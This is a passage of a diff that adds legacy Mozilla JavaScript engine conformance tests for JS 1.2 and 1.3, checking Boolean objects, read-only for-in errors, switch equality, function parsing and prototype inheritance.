+// Needed: tests for evaluation time of case expressions.
+// This issue was under debate at ECMA, so postponing for now.
+
diff --git a/js/src/tests/js1_2/version120/boolean-001.js b/js/src/tests/js1_2/version120/boolean-001.js
new file mode 100644
index 000000000..180d2c7d1
--- /dev/null
+++ b/js/src/tests/js1_2/version120/boolean-001.js
@@ -0,0 +1,44 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * In JavaScript 1.2, new Boolean(false) evaluates to false.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "boolean-001.js";
+var VERSION = "JS1_2";
+startTest();
+var TITLE = "new Boolean(false) should evaluate to false";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+BooleanTest( "new Boolean(true)", new Boolean(true), true );
+BooleanTest( "new Boolean(false)", new Boolean(false), false );
+BooleanTest( "true", true, true );
+BooleanTest( "false", false, false );
+
+test();
+
+function BooleanTest( string, object, expect ) {
+ if ( object ) {
+ result = true;
+ } else {
+ result = false;
+ }
+
+ new TestCase(
+ SECTION,
+ string,
+ expect,
+ result );
+}
+
diff --git a/js/src/tests/js1_2/version120/browser.js b/js/src/tests/js1_2/version120/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/version120/browser.js
diff --git a/js/src/tests/js1_2/version120/regress-99663.js b/js/src/tests/js1_2/version120/regress-99663.js
new file mode 100644
index 000000000..7da6f6cd3
--- /dev/null
+++ b/js/src/tests/js1_2/version120/regress-99663.js
@@ -0,0 +1,132 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 99663;
+var summary = 'Regression test for Bugzilla bug 99663';
+/*
+ * This testcase expects error messages containing
+ * the phrase 'read-only' or something similar -
+ */
+var READONLY = /read\s*-?\s*only/;
+var READONLY_TRUE = 'a "read-only" error';
+var READONLY_FALSE = 'Error: ';
+var FAILURE = 'NO ERROR WAS GENERATED!';
+var status = '';
+var actual = '';
+var expect= '';
+var statusitems = [];
+var expectedvalues = [];
+var actualvalues = [];
+
+
+/*
+ * These MUST be compiled in JS1.2 or less for the test to work - see above
+ */
+function f1()
+{
+ with (it)
+ {
+ for (rdonly in this);
+ }
+}
+
+
+function f2()
+{
+ for (it.rdonly in this);
+}
+
+
+function f3(s)
+{
+ for (it[s] in this);
+}
+
+
+
+/*
+ * Begin testing by capturing actual vs. expected values.
+ * Initialize to FAILURE; this will get reset if all goes well -
+ */
+actual = FAILURE;
+try
+{
+ f1();
+}
+catch(e)
+{
+ actual = readOnly(e.message);
+}
+expect= READONLY_TRUE;
+status = 'Section 1 of test - got ' + actual;
+addThis();
+
+
+actual = FAILURE;
+try
+{
+ f2();
+}
+catch(e)
+{
+ actual = readOnly(e.message);
+}
+expect= READONLY_TRUE;
+status = 'Section 2 of test - got ' + actual;
+addThis();
+
+
+actual = FAILURE;
+try
+{
+ f3('rdonly');
+}
+catch(e)
+{
+ actual = readOnly(e.message);
+}
+expect= READONLY_TRUE;
+status = 'Section 3 of test - got ' + actual;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function readOnly(msg)
+{
+ if (msg.match(READONLY))
+ return READONLY_TRUE;
+ return READONLY_FALSE + msg;
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ print ('Bug Number ' + bug);
+ print ('STATUS: ' + summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ writeTestCaseResult(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/js1_2/version120/shell.js b/js/src/tests/js1_2/version120/shell.js
new file mode 100644
index 000000000..d16c2aa02
--- /dev/null
+++ b/js/src/tests/js1_2/version120/shell.js
@@ -0,0 +1,9 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/* all files in this dir need version(120) called before they are *loaded* */
+
+
+version(120);
diff --git a/js/src/tests/js1_3/Boolean/boolean-001.js b/js/src/tests/js1_3/Boolean/boolean-001.js
new file mode 100644
index 000000000..a23beb321
--- /dev/null
+++ b/js/src/tests/js1_3/Boolean/boolean-001.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * In JavaScript 1.2, new Boolean(false) evaluates to false.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "boolean-001.js";
+var VERSION = "JS_1.3";
+var TITLE = "new Boolean(false) should evaluate to false";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+BooleanTest( "new Boolean(true)", new Boolean(true), true );
+BooleanTest( "new Boolean(false)", new Boolean(false), true );
+BooleanTest( "true", true, true );
+BooleanTest( "false", false, false );
+
+test();
+
+function BooleanTest( string, object, expect ) {
+ if ( object ) {
+ result = true;
+ } else {
+ result = false;
+ }
+
+ new TestCase(
+ SECTION,
+ string,
+ expect,
+ result );
+}
+
diff --git a/js/src/tests/js1_3/Boolean/browser.js b/js/src/tests/js1_3/Boolean/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/Boolean/browser.js
diff --git a/js/src/tests/js1_3/Boolean/shell.js b/js/src/tests/js1_3/Boolean/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/Boolean/shell.js
diff --git a/js/src/tests/js1_3/README b/js/src/tests/js1_3/README
new file mode 100644
index 000000000..82f668486
--- /dev/null
+++ b/js/src/tests/js1_3/README
@@ -0,0 +1 @@
+JavaScript 1.3
diff --git a/js/src/tests/js1_3/Script/browser.js b/js/src/tests/js1_3/Script/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/Script/browser.js
diff --git a/js/src/tests/js1_3/Script/delete-001.js b/js/src/tests/js1_3/Script/delete-001.js
new file mode 100644
index 000000000..757204ec1
--- /dev/null
+++ b/js/src/tests/js1_3/Script/delete-001.js
@@ -0,0 +1,49 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: delete-001.js
+ Section: regress
+ Description:
+
+ Regression test for
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=108736
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "JS1_2";
+var VERSION = "JS1_2";
+var TITLE = "The variable statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// delete all properties of the global object
+// per ecma, this does not affect variables in the global object declared
+// with var or functions
+
+for ( p in this ) {
+ delete p;
+}
+
+var result ="";
+
+for ( p in this ) {
+ result += String( p );
+}
+
+// not too picky here... just want to make sure we didn't crash or something
+
+new TestCase( SECTION,
+ "delete all properties of the global object",
+ "PASSED",
+ result == "" ? "FAILED" : "PASSED" );
+
+
+test();
+
diff --git a/js/src/tests/js1_3/Script/function-001-n.js b/js/src/tests/js1_3/Script/function-001-n.js
new file mode 100644
index 000000000..7d3726d0c
--- /dev/null
+++ b/js/src/tests/js1_3/Script/function-001-n.js
@@ -0,0 +1,45 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99232
+ *
+ * eval("function f(){}function g(){}") at top level is an error for JS1.2
+ * and above (missing ; between named function expressions), but declares f
+ * and g as functions below 1.2.
+ *
+ * Fails to produce error regardless of version:
+ * js> version(100)
+ * 120
+ * js> eval("function f(){}function g(){}")
+ * js> version(120);
+ * 100
+ * js> eval("function f(){}function g(){}")
+ * js>
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS_1.3";
+var TITLE = "functions not separated by semicolons are errors in version 120 and higher";
+var BUGNUMBER="10278";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "eval(\"function f(){}function g(){}\")",
+ "error",
+ eval("function f(){}function g(){}") );
+
+test();
+
+
diff --git a/js/src/tests/js1_3/Script/function-002.js b/js/src/tests/js1_3/Script/function-002.js
new file mode 100644
index 000000000..144e2e4b0
--- /dev/null
+++ b/js/src/tests/js1_3/Script/function-002.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: function-002.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=249579
+
+ function definitions in conditional statements should be allowed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "function-002";
+var VERSION = "JS1_3";
+var TITLE = "Regression test for 249579";
+var BUGNUMBER="249579";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "0?function(){}:0",
+ 0,
+ 0?function(){}:0 );
+
+
+bar = true;
+foo = bar ? function () { return true; } : function() { return false; };
+
+new TestCase(
+ SECTION,
+ "bar = true; foo = bar ? function () { return true; } : function() { return false; }; foo()",
+ true,
+ foo() );
+
+
+test();
+
diff --git a/js/src/tests/js1_3/Script/in-001.js b/js/src/tests/js1_3/Script/in-001.js
new file mode 100644
index 000000000..298cf5942
--- /dev/null
+++ b/js/src/tests/js1_3/Script/in-001.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: in-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=196109
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "in-001";
+var VERSION = "JS1_3";
+var TITLE = "Regression test for 196109";
+var BUGNUMBER="196109";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+o = {};
+o.foo = 'sil';
+
+new TestCase(
+ SECTION,
+ "\"foo\" in o",
+ true,
+ "foo" in o );
+
+test();
diff --git a/js/src/tests/js1_3/Script/new-001.js b/js/src/tests/js1_3/Script/new-001.js
new file mode 100644
index 000000000..9e7c5c28c
--- /dev/null
+++ b/js/src/tests/js1_3/Script/new-001.js
@@ -0,0 +1,89 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: new-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=76103
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "new-001";
+var VERSION = "JS1_3";
+var TITLE = "new-001";
+var BUGNUMBER="31567";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Test_One (x) {
+ this.v = x+1;
+ return x*2
+ }
+
+function Test_Two( x, y ) {
+ this.v = x;
+ return y;
+}
+
+new TestCase(
+ SECTION,
+ "Test_One(18)",
+ 36,
+ Test_One(18) );
+
+new TestCase(
+ SECTION,
+ "new Test_One(18)",
+ "[object Object]",
+ new Test_One(18) +"" );
+
+new TestCase(
+ SECTION,
+ "new Test_One(18).v",
+ 19,
+ new Test_One(18).v );
+
+new TestCase(
+ SECTION,
+ "Test_Two(2,7)",
+ 7,
+ Test_Two(2,7) );
+
+new TestCase(
+ SECTION,
+ "new Test_Two(2,7)",
+ "[object Object]",
+ new Test_Two(2,7) +"" );
+
+new TestCase(
+ SECTION,
+ "new Test_Two(2,7).v",
+ 2,
+ new Test_Two(2,7).v );
+
+new TestCase(
+ SECTION,
+ "new (Function)(\"x\", \"return x+3\")(5,6)",
+ 8,
+ new (Function)("x","return x+3")(5,6) );
+
+new TestCase(
+ SECTION,
+ "new new Test_Two(String, 2).v(0123)",
+ "83",
+ new new Test_Two(String, 2).v(0123) +"");
+
+new TestCase(
+ SECTION,
+ "new new Test_Two(String, 2).v(0123).length",
+ 2,
+ new new Test_Two(String, 2).v(0123).length );
+
+test();
diff --git a/js/src/tests/js1_3/Script/shell.js b/js/src/tests/js1_3/Script/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/Script/shell.js
diff --git a/js/src/tests/js1_3/Script/switch-001.js b/js/src/tests/js1_3/Script/switch-001.js
new file mode 100644
index 000000000..aad1505db
--- /dev/null
+++ b/js/src/tests/js1_3/Script/switch-001.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: switch-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315767
+
+ Verify that switches do not use strict equality in
+ versions of JavaScript < 1.4
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "switch-001";
+var VERSION = "JS1_3";
+var TITLE = "switch-001";
+var BUGNUMBER="315767";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+result = "fail: did not enter switch";
+
+switch (true) {
+case 1:
+ result = "fail: for backwards compatibility, version 130 use strict equality";
+ break;
+case true:
+ result = "pass";
+ break;
+default:
+ result = "fail: evaluated default statement";
+}
+
+new TestCase(
+ SECTION,
+ "switch / case should use strict equality in version of JS < 1.4",
+ "pass",
+ result );
+
+
+
+test();
+
diff --git a/js/src/tests/js1_3/browser.js b/js/src/tests/js1_3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/browser.js
diff --git a/js/src/tests/js1_3/extensions/browser.js b/js/src/tests/js1_3/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/extensions/browser.js
diff --git a/js/src/tests/js1_3/extensions/proto_10.js b/js/src/tests/js1_3/extensions/proto_10.js
new file mode 100644
index 000000000..3cfc919e1
--- /dev/null
+++ b/js/src/tests/js1_3/extensions/proto_10.js
@@ -0,0 +1,122 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_10.js
+ Section:
+ Description: Determining Instance Relationships
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_10";
+var VERSION = "JS1_3";
+var TITLE = "Determining Instance Relationships";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function InstanceOf( object, constructor ) {
+ while ( object != null ) {
+ if ( object == constructor.prototype ) {
+ return true;
+ }
+ object = object.__proto__;
+ }
+ return false;
+}
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( name, dept, projs ) {
+ this.base = Employee;
+ this.base( name, dept)
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer ( name, projs, machine ) {
+ this.base = WorkerBee;
+ this.base( name, "engineering", projs )
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+var pat = new Engineer();
+
+new TestCase( SECTION,
+ "pat.__proto__ == Engineer.prototype",
+ true,
+ pat.__proto__ == Engineer.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__ == WorkerBee.prototype",
+ true,
+ pat.__proto__.__proto__ == WorkerBee.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__.__proto__ == Employee.prototype",
+ true,
+ pat.__proto__.__proto__.__proto__ == Employee.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__.__proto__.__proto__ == Object.prototype",
+ true,
+ pat.__proto__.__proto__.__proto__.__proto__ == Object.prototype );
+
+new TestCase( SECTION,
+ "pat.__proto__.__proto__.__proto__.__proto__.__proto__ == null",
+ true,
+ pat.__proto__.__proto__.__proto__.__proto__.__proto__ == null );
+
+
+new TestCase( SECTION,
+ "InstanceOf( pat, Engineer )",
+ true,
+ InstanceOf( pat, Engineer ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, WorkerBee )",
+ true,
+ InstanceOf( pat, WorkerBee ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, Employee )",
+ true,
+ InstanceOf( pat, Employee ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, Object )",
+ true,
+ InstanceOf( pat, Object ) );
+
+new TestCase( SECTION,
+ "InstanceOf( pat, SalesPerson )",
+ false,
+ InstanceOf ( pat, SalesPerson ) );
+test();
diff --git a/js/src/tests/js1_3/extensions/proto_2.js b/js/src/tests/js1_3/extensions/proto_2.js
new file mode 100644
index 000000000..7a0446f1e
--- /dev/null
+++ b/js/src/tests/js1_3/extensions/proto_2.js
@@ -0,0 +1,91 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_2.js
+ Section:
+ Description: new PrototypeObject
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_2";
+var VERSION = "JS1_3";
+var TITLE = "new PrototypeObject";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee () {
+ this.name = "";
+ this.dept = "general";
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee () {
+ this.projects = new Array();
+}
+
+WorkerBee.prototype = new Employee;
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee;
+
+function Engineer () {
+ this.dept = "engineering";
+ this.machine = "";
+}
+Engineer.prototype = new WorkerBee;
+
+
+var employee = new Employee();
+var manager = new Manager();
+var workerbee = new WorkerBee();
+var salesperson = new SalesPerson();
+var engineer = new Engineer();
+
+new TestCase( SECTION,
+ "employee.__proto__ == Employee.prototype",
+ true,
+ employee.__proto__ == Employee.prototype );
+
+new TestCase( SECTION,
+ "manager.__proto__ == Manager.prototype",
+ true,
+ manager.__proto__ == Manager.prototype );
+
+new TestCase( SECTION,
+ "workerbee.__proto__ == WorkerBee.prototype",
+ true,
+ workerbee.__proto__ == WorkerBee.prototype );
+
+new TestCase( SECTION,
+ "salesperson.__proto__ == SalesPerson.prototype",
+ true,
+ salesperson.__proto__ == SalesPerson.prototype );
+
+new TestCase( SECTION,
+ "engineer.__proto__ == Engineer.prototype",
+ true,
+ engineer.__proto__ == Engineer.prototype );
+
+test();
+
diff --git a/js/src/tests/js1_3/extensions/proto_5.js b/js/src/tests/js1_3/extensions/proto_5.js
new file mode 100644
index 000000000..3255c9e2a
--- /dev/null
+++ b/js/src/tests/js1_3/extensions/proto_5.js
@@ -0,0 +1,115 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_5.js
+ Section:
+ Description: Logical OR || in Constructors
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ This tests the logical OR opererator || syntax in constructors.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_5";
+var VERSION = "JS1_3";
+var TITLE = "Logical OR || in Constructors";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee ( name, dept ) {
+ this.name = name || "";
+ this.dept = dept || "general";
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee ( projs ) {
+ this.projects = projs || new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer ( machine ) {
+ this.dept = "engineering";
+ this.machine = machine || "";
+}
+Engineer.prototype = new WorkerBee();
+
+
+var pat = new Engineer( "indy" );
+
+var les = new Engineer();
+
+new TestCase( SECTION,
+ "var pat = new Engineer(\"indy\"); pat.name",
+ "",
+ pat.name );
+
+new TestCase( SECTION,
+ "pat.dept",
+ "engineering",
+ pat.dept );
+
+new TestCase( SECTION,
+ "pat.projects.length",
+ 0,
+ pat.projects.length );
+
+new TestCase( SECTION,
+ "pat.machine",
+ "indy",
+ pat.machine );
+
+new TestCase( SECTION,
+ "pat.__proto__ == Engineer.prototype",
+ true,
+ pat.__proto__ == Engineer.prototype );
+
+new TestCase( SECTION,
+ "var les = new Engineer(); les.name",
+ "",
+ les.name );
+
+new TestCase( SECTION,
+ "les.dept",
+ "engineering",
+ les.dept );
+
+new TestCase( SECTION,
+ "les.projects.length",
+ 0,
+ les.projects.length );
+
+new TestCase( SECTION,
+ "les.machine",
+ "",
+ les.machine );
+
+new TestCase( SECTION,
+ "les.__proto__ == Engineer.prototype",
+ true,
+ les.__proto__ == Engineer.prototype );
+
+
+test();
diff --git a/js/src/tests/js1_3/extensions/script-001.js b/js/src/tests/js1_3/extensions/script-001.js
new file mode 100644
index 000000000..0ff83c8cd
--- /dev/null
+++ b/js/src/tests/js1_3/extensions/script-001.js
@@ -0,0 +1,140 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: script-001.js
+ Section:
+ Description: new NativeScript object
+
+
+ js> parseInt(123,"hi")
+ 123
+ js> parseInt(123, "blah")
+ 123
+ js> s
+ js: s is not defined
+ js> s = new Script
+
+ undefined;
+
+
+ js> s = new Script()
+
+ undefined;
+
+
+ js> s.getJSClass
+ js> s.getJSClass = Object.prototype.toString
+ function toString() {
+ [native code]
+ }
+
+ js> s.getJSClass()
+ [object Script]
+ js> s.compile( "return 3+4" )
+ js: JavaScript exception: javax.javascript.EvaluatorException: "<Scr
+ js> s.compile( "3+4" )
+
+ 3 + 4;
+
+
+ js> typeof s
+ function
+ js> s()
+ Jit failure!
+ invalid opcode: 1
+ Jit Pass1 Failure!
+ javax/javascript/gen/c13 initScript (Ljavax/javascript/Scriptable;)V
+ An internal JIT error has occurred. Please report this with .class
+ jit-bugs@itools.symantec.com
+
+ 7
+ js> s.compile("3+4")
+
+ 3 + 4;
+
+
+ js> s()
+ Jit failure!
+ invalid opcode: 1
+ Jit Pass1 Failure!
+ javax/javascript/gen/c17 initScript (Ljavax/javascript/Scriptable;)V
+ An internal JIT error has occurred. Please report this with .class
+ jit-bugs@itools.symantec.com
+
+ 7
+ js> quit()
+
+ C:\src\ns_priv\js\tests\ecma>shell
+
+ C:\src\ns_priv\js\tests\ecma>java -classpath c:\cafe\java\JavaScope;
+ :\src\ns_priv\js\tests javax.javascript.examples.Shell
+ Symantec Java! JustInTime Compiler Version 210.054 for JDK 1.1.2
+ Copyright (C) 1996-97 Symantec Corporation
+
+ js> s = new Script("3+4")
+
+ 3 + 4;
+
+
+ js> s()
+ 7
+ js> s2 = new Script();
+
+ undefined;
+
+
+ js> s.compile( "3+4")
+
+ 3 + 4;
+
+
+ js> s()
+ Jit failure!
+ invalid opcode: 1
+ Jit Pass1 Failure!
+ javax/javascript/gen/c7 initScript (Ljavax/javascript/Scriptable;)V
+ An internal JIT error has occurred. Please report this with .class
+ jit-bugs@itools.symantec.com
+
+ 7
+ js> quit()
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "script-001";
+var VERSION = "JS1_3";
+var TITLE = "NativeScript";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+ new TestCase( SECTION,
+ "var s = new Script(); typeof s",
+ "Script not supported, test skipped.",
+ "Script not supported, test skipped." );
+}
+else
+{
+ var s = new Script();
+ s.getJSClass = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ "var s = new Script(); typeof s",
+ "function",
+ typeof s );
+
+ new TestCase( SECTION,
+ "s.getJSClass()",
+ "[object Script]",
+ s.getJSClass() );
+}
+
+test();
diff --git a/js/src/tests/js1_3/extensions/shell.js b/js/src/tests/js1_3/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/extensions/shell.js
diff --git a/js/src/tests/js1_3/inherit/browser.js b/js/src/tests/js1_3/inherit/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/browser.js
diff --git a/js/src/tests/js1_3/inherit/proto_1.js b/js/src/tests/js1_3/inherit/proto_1.js
new file mode 100644
index 000000000..79911f342
--- /dev/null
+++ b/js/src/tests/js1_3/inherit/proto_1.js
@@ -0,0 +1,136 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: proto_1.js
+ Section:
+ Description: new PrototypeObject
+
+ This tests Object Hierarchy and Inheritance, as described in the document
+ Object Hierarchy and Inheritance in JavaScript, last modified on 12/18/97
+ 15:19:34 on http://devedge.netscape.com/. Current URL:
+ http://devedge.netscape.com/docs/manuals/communicator/jsobj/contents.htm
+
+ This tests the syntax ObjectName.prototype = new PrototypeObject using the
+ Employee example in the document referenced above.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "proto_1";
+var VERSION = "JS1_3";
+var TITLE = "new PrototypeObject";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Employee () {
+ this.name = "";
+ this.dept = "general";
+}
+function Manager () {
+ this.reports = [];
+}
+Manager.prototype = new Employee();
+
+function WorkerBee () {
+ this.projects = new Array();
+}
+WorkerBee.prototype = new Employee();
+
+function SalesPerson () {
+ this.dept = "sales";
+ this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee();
+
+function Engineer () {
+ this.dept = "engineering";
+ this.machine = "";
+}
+Engineer.prototype = new WorkerBee();
+
+var jim = new Employee();
+
